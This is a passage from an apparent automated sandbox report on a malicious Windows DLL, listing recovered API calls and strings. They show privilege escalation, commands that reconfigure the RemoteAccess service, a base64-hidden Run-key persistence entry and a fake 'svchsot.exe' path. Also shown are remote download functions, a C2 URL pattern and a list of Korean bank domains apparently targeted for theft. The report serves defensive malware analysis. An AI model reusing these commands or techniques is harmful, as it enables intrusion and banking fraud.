_mbsicmp.MSVCRT ref: 1000F72E
_mbsicmp.MSVCRT ref: 1000F742
_mbsicmp.MSVCRT ref: 1000F756
_mbsicmp.MSVCRT ref: 1000F76A

Strings

.arc, xrefs: 1000F764
.gz, xrefs: 1000F7A0
.zip, xrefs: 1000F73C
.arj, xrefs: 1000F78C
.zoo, xrefs: 1000F750
.tgz, xrefs: 1000F7B4
.lzh, xrefs: 1000F778

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: _mbsicmp
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1961004622-51310709
Opcode ID: 9a2839b0c050d57ee1fa6452c1e67cdcab6d0cd9156314fcd384c4b2c94964e5
Instruction ID: 7359167a5fcbd9a806bd145f27a2597d23e7ec4f774172bc2e2fd2a42e6e49a2
Opcode Fuzzy Hash: 9a2839b0c050d57ee1fa6452c1e67cdcab6d0cd9156314fcd384c4b2c94964e5
Instruction Fuzzy Hash: 2321B422A0816221BA00B52D7D406EE93C8CFE20E6B07403AFD58D9A19FB55DDC3A4E7

Function 10005030 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 10005069

Part of subcall function 10004DA0: CreateFileA.KERNEL32(?,10000000,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
Part of subcall function 10004DA0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
Part of subcall function 10004DA0: time.MSVCRT(00000000), ref: 10004E7F
Part of subcall function 10004DA0: _localtime32.MSVCRT(?), ref: 10004E8E
Part of subcall function 10004DA0: strftime.MSVCRT ref: 10004EA1
Part of subcall function 10004DA0: vsprintf.MSVCRT ref: 10004EF3
Part of subcall function 10004DA0: sprintf.MSVCRT ref: 10004F13

Strings

self, xrefs: 1000507A
C:\Windows\6C4DA6FB\svchsot.exe, xrefs: 100050B0, 100050C4
cmd.exe, xrefs: 10005040, 10005050
C:\Windows\6C4DA6FB\svchsot.vir, xrefs: 100050BF
%s.%d, xrefs: 10005102

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreateCurrentPointerProcess_localtime32sprintfstrftimetimevsprintf
String ID: %s.%d$C:\Windows\6C4DA6FB\svchsot.exe$C:\Windows\6C4DA6FB\svchsot.vir$cmd.exe$self
API String ID: 3192119092-4191049792
Opcode ID: ba6a527f4a739631b566123cca767d18ee45be973559c480ae428ec06e6e2757
Instruction ID: 4e1dc663dc5c2e20ab1e8d508aa2f617d19e20be5b77b03456e3f7bde4afe704
Opcode Fuzzy Hash: ba6a527f4a739631b566123cca767d18ee45be973559c480ae428ec06e6e2757
Instruction Fuzzy Hash: 4C112BB26401147BF3119754EC8ABEB3348DF84352F414131F70496181DA76E5A8C6B7

Function 10007F60 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 99processregistrystringCOMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(?,100147E8), ref: 10007FE5
_CxxThrowException.MSVCRT(?,100147E8), ref: 1000801D
lstrlen.KERNEL32(?,00000000), ref: 10008043
WinExec.KERNEL32(sc stop RemoteAccess,00000000), ref: 1000806C
WinExec.KERNEL32(sc config RemoteAccess start= auto,00000000), ref: 10008074
WinExec.KERNEL32(net start RemoteAccess,00000000), ref: 1000807C
RegCloseKey.ADVAPI32(?), ref: 10008082

Strings

sc config RemoteAccess start= auto, xrefs: 1000806F
sc stop RemoteAccess, xrefs: 10008067
DLLPath, xrefs: 10007FFD, 1000804D
U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFJlbW90ZUFjY2Vzc1xSb3V0ZXJNYW5hZ2Vyc1xJcA==, xrefs: 10007F86
mp3, xrefs: 1000802E
net start RemoteAccess, xrefs: 10008077

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Exec$ExceptionThrow$Closelstrlen
String ID: DLLPath$U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFJlbW90ZUFjY2Vzc1xSb3V0ZXJNYW5hZ2Vyc1xJcA==$mp3$net start RemoteAccess$sc config RemoteAccess start= auto$sc stop RemoteAccess
API String ID: 2220367965-2251003411
Opcode ID: 8b7e3d6da74423e4f7df1cee934fc3ce02715c38fd0b714f26f77314a7f6a13a
Instruction ID: 386c89186cab945f5a718573854e040faaf77393de1b5ed21536ee36dbd8ba18
Opcode Fuzzy Hash: 8b7e3d6da74423e4f7df1cee934fc3ce02715c38fd0b714f26f77314a7f6a13a
Instruction Fuzzy Hash: 4131AFB5900159AFEB10DF94CC85EEFBBB8FF49250F004169F604AB140D7749E848BB2

Function 1000A9F0 Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 338COMMON

Download Yara Rule

Strings

REG_BINARY, xrefs: 1000ADE9
REG_MULTI_SZ, xrefs: 1000ADC6
JS0yNHMgJS0xNXMgXHJcbg==, xrefs: 1000ADD2, 1000ADF5
[%s], xrefs: 1000AC75
JS0yNHMgJS0xNXMgJXMgXHJcbg==, xrefs: 1000AD6B
JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==, xrefs: 1000ADA7
REG_DWORD, xrefs: 1000AD9B
REG_SZ, xrefs: 1000AD51
REG_EXPAND_SZ, xrefs: 1000AD5F

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID: JS0yNHMgJS0xNXMgJXMgXHJcbg==$JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==$JS0yNHMgJS0xNXMgXHJcbg==$REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ$[%s]
API String ID: 71445658-1435378120
Opcode ID: 7d424288471b201655ca4a48aa21b457367a72ea9670dcdcb4ac0206b327a908
Instruction ID: 40b7c5c0a35248af27e297c048efb2102711e9767bb195815e86efec323737f9
Opcode Fuzzy Hash: 7d424288471b201655ca4a48aa21b457367a72ea9670dcdcb4ac0206b327a908
Instruction Fuzzy Hash: AEC1B8B2900158AFEB14CF94DC41FDF73B9EB89340F004299F619A7184EB74AE84CB95

Function 10006760 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Part of subcall function 100060E0: strrchr.MSVCRT ref: 1000615E
Part of subcall function 100060E0: strncpy.MSVCRT ref: 10006175
Part of subcall function 100060E0: strncpy.MSVCRT ref: 1000617F
Part of subcall function 100060E0: GetSystemInfo.KERNEL32(?), ref: 10006189
Part of subcall function 100060E0: GetCurrentProcess.KERNEL32(00000020,?), ref: 100061AA
Part of subcall function 100060E0: OpenProcessToken.ADVAPI32(00000000), ref: 100061B1
Part of subcall function 100060E0: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 100061C2
Part of subcall function 100060E0: AdjustTokenPrivileges.ADVAPI32 ref: 100061F7
Part of subcall function 100060E0: CloseHandle.KERNEL32(00000010), ref: 10006202
Part of subcall function 100060E0: sscanf.MSVCRT ref: 1000622D

wsprintfA.USER32 ref: 100067A2

Part of subcall function 10006240: strchr.MSVCRT ref: 10006296

wsprintfA.USER32 ref: 10006808
wsprintfA.USER32 ref: 10006821
CreateDirectoryA.KERNEL32(?,00000000), ref: 1000682C

Part of subcall function 10005130: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,100094FF,?,?,?), ref: 10005149
Part of subcall function 10005130: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 1000516B
Part of subcall function 10005130: CloseHandle.KERNEL32(00000000), ref: 10005172

OpenProcess.KERNEL32(001F0FFF,00000000,00000000), ref: 1000686A
CreateThread.KERNEL32(00000000,00000000,10006630,00000000,00000000,00000000), ref: 10006891

Strings

c:\windows\system32\drivers\%s\%s, xrefs: 1000681B
Win32_process, xrefs: 10006847
%s\%s, xrefs: 1000679C
ROOT\CIMv2, xrefs: 1000684C
c:\windows\system32\drivers\%s, xrefs: 10006801

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateProcesswsprintf$CloseFileHandleOpenTokenstrncpy$AdjustCurrentDirectoryInfoLookupPrivilegePrivilegesSystemThreadValueWritesscanfstrchrstrrchr
String ID: %s\%s$ROOT\CIMv2$Win32_process$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s
API String ID: 3642037362-1421401311
Opcode ID: d2cd299e288b3e9e98b9e1fba56ee12053f96323f8ef1271132cbb11194d2572
Instruction ID: f20ba2a97323ed7df82d32d2797e0c63e95325ef1500b8652c68676ddbbd9728
Opcode Fuzzy Hash: d2cd299e288b3e9e98b9e1fba56ee12053f96323f8ef1271132cbb11194d2572
Instruction Fuzzy Hash: 2931D4715047507FE311CBA8CDD4AEB7BAAEB8D340F004929F35597242CB35E948CB62

Function 10011A66 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 187librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 10011B0C
GetLastError.KERNEL32 ref: 10011B18
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 10011B4B
InterlockedExchange.KERNEL32(?,00000000), ref: 10011B5D
LocalAlloc.KERNEL32(00000040,00000008), ref: 10011B71
FreeLibrary.KERNEL32(00000000), ref: 10011B8E
GetProcAddress.KERNEL32(?,?), ref: 10011BEF
GetLastError.KERNEL32 ref: 10011BFB
RaiseException.KERNEL32(C06D007F,00000000,00000001,?), ref: 10011C2D

Strings

$, xrefs: 10011A82

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorExceptionLastLibraryRaise$AddressAllocExchangeFreeInterlockedLoadLocalProc
String ID: $
API String ID: 991255547-3993045852
Opcode ID: 2a11c7f7179ab892354a6a713d73592b2975e953cd869872c764eb05020c9fd4
Instruction ID: 4d5577417f8e46cad4d298f1aa2e6885704c8343808cc9b2ee3d484d600d16ac
Opcode Fuzzy Hash: 2a11c7f7179ab892354a6a713d73592b2975e953cd869872c764eb05020c9fd4
Instruction Fuzzy Hash: 81614EB5A042099FEB19CF99C9C1AEA77F5FF48340F118029E919DB250E770EE85CB60

Function 10008AC0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 177networkCOMMON

Download Yara Rule

APIs

Part of subcall function 10007640: strstr.MSVCRT ref: 100076EB
Part of subcall function 10007640: strstr.MSVCRT ref: 1000770F
Part of subcall function 10007640: strcspn.MSVCRT ref: 1000771E
Part of subcall function 10007640: strstr.MSVCRT ref: 1000772A
Part of subcall function 10007640: strcspn.MSVCRT ref: 10007739
Part of subcall function 10007640: strncpy.MSVCRT ref: 10007742
Part of subcall function 10007640: strstr.MSVCRT ref: 1000777F
Part of subcall function 10007640: strcspn.MSVCRT ref: 10007792

Part of subcall function 10006BE0: setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 10006BF7

Part of subcall function 10006F70: RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F9F
Part of subcall function 10006F70: GlobalMemoryStatusEx.KERNEL32(?), ref: 10007059
Part of subcall function 10006F70: GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 100070B2

send.WS2_32(00000000,?,00000128,00000000), ref: 10008B2F
closesocket.WS2_32(00000000), ref: 10008B3B
select.WS2_32 ref: 10008B91
closesocket.WS2_32(00000000), ref: 10008C83
InterlockedExchange.KERNEL32(1001B6B8,00000001), ref: 10008C94

Strings

SeShutdownPrivilege, xrefs: 10008C17, 10008C33
zip, xrefs: 10008CD5

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strstr$strcspn$closesocket$DefaultExchangeGlobalInterlockedLanguageMemoryOpenStatusSystemselectsendsetsockoptstrncpy
String ID: SeShutdownPrivilege$zip
API String ID: 619725691-4289258210
Opcode ID: 561ca7740bbf3e17141a47d3a836b13047d7a0a7756f3eff1820db465d8b02ff
Instruction ID: 12ec0c918aa9a297be5ccc665cebabc014b02cea96a7eba10d88a6146ebaa4c5
Opcode Fuzzy Hash: 561ca7740bbf3e17141a47d3a836b13047d7a0a7756f3eff1820db465d8b02ff
Instruction Fuzzy Hash: 925127B0544205AAF720DB24DC85FEB77E8FB943D0F104A29FA49D61CADB74E6448772

Function 100072A0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 131libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(urlmon.dll,00000001,00000001,?), ref: 100072B7
LoadLibraryA.KERNEL32(wininet.dll), ref: 100072C0
GetProcAddress.KERNEL32(00000000,URLDownloadToCacheFileA), ref: 100072E9
GetProcAddress.KERNEL32(00000000,GetUrlCacheEntryInfoA), ref: 100072F4

Strings

urlmon.dll, xrefs: 100072B2
wininet.dll, xrefs: 100072B9
WinSta0\Default, xrefs: 100073F2
GetUrlCacheEntryInfoA, xrefs: 100072EB
URLDownloadToCacheFileA, xrefs: 100072D8

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetUrlCacheEntryInfoA$URLDownloadToCacheFileA$WinSta0\Default$urlmon.dll$wininet.dll
API String ID: 2574300362-1569318151
Opcode ID: 5b604fb2e00ad6d5b1768fdcc3b301a9170120e2225cd6010a9ac84f16d7b199
Instruction ID: 6ff2e891fe8b6a67bc8749009df75dfcb0ea21cbbb39f2f2a6088e9a3be85236
Opcode Fuzzy Hash: 5b604fb2e00ad6d5b1768fdcc3b301a9170120e2225cd6010a9ac84f16d7b199
Instruction Fuzzy Hash: 4241CC32A0051C6BDB25C6B8CC51BEF7666FB88320F550369F716AB2C1DAF15E45CB44

Function 10008490 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 10004F60: GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
Part of subcall function 10004F60: OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
Part of subcall function 10004F60: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
Part of subcall function 10004F60: AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
Part of subcall function 10004F60: CloseHandle.KERNEL32 ref: 10004FD5

CreateMutexA.KERNEL32(00000000,00000001,Global\98012trt8-d8dfsf,?,1000850C), ref: 100084AB
GetLastError.KERNEL32(?,1000850C), ref: 100084B3
ReleaseMutex.KERNEL32(00000000,?,?,?,1000850C), ref: 100084DD
CloseHandle.KERNEL32(00000000,?,?,?,1000850C), ref: 100084E4

Strings

Global\98012trt8-d8dfsf, xrefs: 100084A3
ERROR_ALREADY_EXISTS, xrefs: 100084C5
SeDebugPrivilege, xrefs: 10008494
c:\11.txt, xrefs: 100084CA

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleMutexProcessToken$AdjustCreateCurrentErrorLastLookupOpenPrivilegePrivilegesReleaseValue
String ID: ERROR_ALREADY_EXISTS$Global\98012trt8-d8dfsf$SeDebugPrivilege$c:\11.txt
API String ID: 3631164735-4205529783
Opcode ID: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction ID: 292784ae164184b6aa7911133eb3b2ce828e5530ad2962163ce020204c324f4b
Opcode Fuzzy Hash: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction Fuzzy Hash: 85E09275D1016067F912B760ACCDADE3A25D78A795F034130F709E5156DF34CAD1C2A2

Function 1000F870 Relevance: 12.2, APIs: 8, Instructions: 169fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E
GetFileSize.KERNEL32(?,00000000,?,00000000,?), ref: 1000F8EB
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F90B
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 1000F922
SetFilePointer.KERNEL32(?,00000024,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F92B
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F93C
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 1000F95C
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F96D

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction ID: 75170083ee676786804825bfb6193be50822de76c0b42b9061a3e677b9cbe5b9
Opcode Fuzzy Hash: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction Fuzzy Hash: C851BFB1A04305AFF314CE94CC81FBBB7E4EF88784F10891CF68597684EAB4E9059B56

Function 10009130 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 91stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 10009155

Strings

09161305, xrefs: 10009208
ECF4BB45F69D, xrefs: 100091AE, 1000920F
%s/joy.asp?sid=%s, xrefs: 10009240
http://, xrefs: 1000914B
NULL, xrefs: 10009150, 10009234
%s|NULL|%s|%s, xrefs: 1000921B

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strstr
String ID: %s/joy.asp?sid=%s$%s|NULL|%s|%s$09161305$ECF4BB45F69D$NULL$http://
API String ID: 1392478783-533519121
Opcode ID: b99288b726db85a61a84a1db8eadd2a0bfb92a8b3bc24bd03ce9598594f91a41
Instruction ID: cef405a299d08575f7e8510bff70e8bc64c33956ff9c8c1ef28923b5b4943e29
Opcode Fuzzy Hash: b99288b726db85a61a84a1db8eadd2a0bfb92a8b3bc24bd03ce9598594f91a41
Instruction Fuzzy Hash: 39318E756047416BE724CB38CC01BEBB7D5EBC8254F448A3CB7498A285EF78E544C652

Function 10009050 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 10004B10: GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Part of subcall function 10004C20: RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,100090BE,80000001,00000000,?), ref: 10004C4D

wsprintfA.USER32 ref: 100090E7

Part of subcall function 10004CC0: RegSetValueExA.KERNEL32(?,?,?,?,?,?,10009112,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,76F90F00), ref: 10004C65

Strings

U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==, xrefs: 100090A6
EvtMgr, xrefs: 10009107
c:\windows\SysWOW64\rundll32.exe, xrefs: 100090D8
REG_SZ, xrefs: 1000909F
c:\ftelcs\rjqzr.dll, xrefs: 1000907F, 100090D3
%s "%s",QueryPluginInterface, xrefs: 100090E1

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateNamePathShortValuewsprintf
String ID: %s "%s",QueryPluginInterface$EvtMgr$REG_SZ$U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==$c:\ftelcs\rjqzr.dll$c:\windows\SysWOW64\rundll32.exe
API String ID: 2251888957-2433003403
Opcode ID: 8afd94b0278ad8f212652a366a92916e6436194c3e9168692bd8b2d83aaba4e2
Instruction ID: d246d73be0499fa8dd0e485b3868a99af5c8bb1a4792636f53a3e73381c3b96b
Opcode Fuzzy Hash: 8afd94b0278ad8f212652a366a92916e6436194c3e9168692bd8b2d83aaba4e2
Instruction Fuzzy Hash: 3F11BFB56042447BF354D264DC42FEB7694EB94740F810E28B745AA182EBF5E5888297

Function 1000FA40 Relevance: 7.6, APIs: 5, Instructions: 138fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,753C8400,00000000,10010D59), ref: 1000FA95
CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,753C8400,00000000,10010D59), ref: 1000FAD6

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction ID: 308ac7dc05e7744f4e081a0bdb9278c18c1066b528d8c71e9578729df1ac5f0e
Opcode Fuzzy Hash: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction Fuzzy Hash: ED416AB26057419FE320CF29D884B5BB7ECEB943A9F108A3FF295C6940D370D8959B60

Function 1000A7D0 Relevance: 6.2, APIs: 4, Instructions: 164COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1000A8E4
InterlockedDecrement.KERNEL32(?), ref: 1000A918
InterlockedIncrement.KERNEL32(?), ref: 1000A965
InterlockedDecrement.KERNEL32(?), ref: 1000A977

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Interlocked$Decrement$Increment
String ID:
API String ID: 2574743344-0
Opcode ID: 25fdab2225f7c0ceb369f4a8396a1c2ed694ff04c12ef12b3478b03fc2270baf
Instruction ID: 6cbe9a1f3e0df641fd87c38007f5d6db5c369deff50cff04694e886eb5793eaa
Opcode Fuzzy Hash: 25fdab2225f7c0ceb369f4a8396a1c2ed694ff04c12ef12b3478b03fc2270baf
Instruction Fuzzy Hash: C451D0B2A043929BE710DF258885A0EB7E4FB85690F428A2DF485D7205D734EDCAC792

Function 10006240 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 10006296
strchr.MSVCRT ref: 10006360

Strings

www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 10006261
, xrefs: 100062E4

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strchr
String ID: $www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 2830005266-1486078621
Opcode ID: 8fe9bc9a7b70a88539dcbdc00b001697f1adf1b456da37eeb74713bcca483fef
Instruction ID: a98ee60c11287c2f9934eeec0192e0ab45efcf3a9a7c66bc25993254181b1c03
Opcode Fuzzy Hash: 8fe9bc9a7b70a88539dcbdc00b001697f1adf1b456da37eeb74713bcca483fef
Instruction Fuzzy Hash: E031A136604A081B972CC878985556B7AC3FBC4270FA5073DFA6B872C0DEF59E498281

Function 1000FE60 Relevance: 6.1, APIs: 4, Instructions: 114timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,00000000), ref: 1000FEA9
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 1000FED6
GetLocalTime.KERNEL32(?), ref: 1000FF10
SystemTimeToFileTime.KERNEL32(?,?), ref: 1000FF20

Part of subcall function 1000F870: GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

